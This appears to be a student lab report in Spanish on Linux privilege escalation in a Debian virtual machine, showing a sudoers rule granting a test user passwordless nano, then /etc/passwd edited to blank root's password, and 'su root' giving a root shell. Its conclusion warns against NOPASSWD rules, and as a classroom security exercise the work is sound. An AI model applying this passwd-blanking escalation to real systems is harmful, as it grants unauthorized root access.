

Tecnológico Nacional de México

Campus Saltillo

Ingeniería en Sistemas Computacionales

Computo en la nube

4.1 Práctica de seguridad informática escalada de privilegios

Docente: Ing. Miguel Salazar del Bosque

Equipo:

Hugo Emilio Espinoza Tun 22050627

Contents

Parte 1: Identificación de la vulnerabilidad	1
1.1 Preparación del entorno.....	1
Parte 2 Explotación de la vulnerabilidad	3
2.1 Restauración del sistema	4
Conclusión.....	4

Parte 1: Identificación de la vulnerabilidad

1.1 Preparación del entorno

```
hugo@debian:~$ sudo adduser usuario_test
[sudo] password for hugo:
Sorry, try again.
[sudo] password for hugo:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for usuario_test
Enter the new value, or press ENTER for the default
    Full Name []: test
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
```

```
hugo@debian:~$ sudo passwd usuario_test
New password:
Retype new password:
passwd: password updated successfully
hugo@debian:~$ _
```



1.2 Escenario Vulnerable

```
GNU nano 8.4 /etc/sudoers.ti
defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# This fixes CVE-2005-4890 and possibly breaks some versions of kdesu
# (#1011624, https://bugs.kde.org/show_bug.cgi?id=452532)
defaults    use_pty

# This preserves proxy settings from user environments of root
# equivalent users (group sudo)
#Defaults:sudo env_keep += "http_proxy https_proxy ftp_proxy all_proxy no_proxy"

# This allows running arbitrary commands, but so does ALL, and it means
# different sudoers have their choice of editor respected.
#Defaults:sudo env_keep += "EDITOR"

# Completely harmless preservation of a user preference.
#Defaults:sudo env_keep += "GREP_COLOR"

# While you shouldn't normally run git as root, you need to with etckeeper
#Defaults:sudo env_keep += "GIT_AUTHOR_* GIT_COMMITTER_*"

# Per-user preferences; root won't have sensible values for them.
#Defaults:sudo env_keep += "EMAIL DEBEMAIL DEBFULLNAME"

# "sudo scp" or "sudo rsync" should be able to use your SSH agent.
#Defaults:sudo env_keep += "SSH_AGENT_PID SSH_AUTH_SOCK"

# Ditto for GPG agent
#Defaults:sudo env_keep += "GPG_AGENT_INFO"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo    ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@include:: /etc/sudoers.d

usuario_test ALL=(ALL) NOPASSWD: /usr/bin/nano_
```

```
srvrep [Corriendo] - Oracle VirtualBox

Archivo  Máquina  Ver  Entrada  Dispositivos  Ayuda

GNU nano 8.4 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
lapt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
messagebus:x:991:991:System Message Bus:/nonexistent:/usr/sbin/nologin
sshd:x:990:65534:sshd user:/run/sshd:/usr/sbin/nologin
hugo:x:1000:1000:hugo,,,:/home/hugo:/bin/bash
mysql:x:101:104:MariaDB Server:/nonexistent:/bin/false
usuario_test:x:1001:1001:test,,,:/home/usuario_test:/bin/bash

[ Read 25 lines ]
G Help      W Write Out  F Where Is   K Cut        E Execute    C Locali
X Exit      R Read File  A Replace    U Paste      J Justify   / Go To
```

Parte 2 Explotación de la vulnerabilidad

```
srvrep [Corriendo] - Oracle VirtualBox
Archivo  Máquina  Ver  Entrada  Dispositivos  Ayuda

GNU nano 8.4
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
lpt:x:42:65534:/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
messagebus:x:991:991:System Message Bus:/nonexistent:/usr/sbin/nologin
sshd:x:990:65534:sshd user:/run/sshd:/usr/sbin/nologin
hugo:x:1000:1000:hugo,,,:/home/hugo:/bin/bash
mysql:x:101:104:MariaDB Server:/nonexistent:/bin/false
usuario_test:x:1001:1001:test,,,:/home/usuario_test:/bin/bash
```

2.1 Restauración del sistema

```
usuario_test@debian:~$ su root
root@debian:/home/usuario_test#
```

```
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d

root@debian:/home/usuario_test# _
```

Conclusión

La práctica realizada permitió comprender cómo una mala configuración del archivo sudoers puede provocar una vulnerabilidad de escalada de privilegios en Linux. Se observó que un usuario con permisos limitados puede obtener acceso de root al ejecutar comandos permitidos con sudo sin contraseña y modificar archivos críticos del sistema como /etc/passwd.

Con esta práctica se logró entender el riesgo que representan las configuraciones inseguras y la importancia de restringir el uso de sudo únicamente a los comandos necesarios, así como evitar configuraciones NOPASSWD. Esto demuestra la relevancia de aplicar buenas prácticas de seguridad en la administración de sistemas Linux.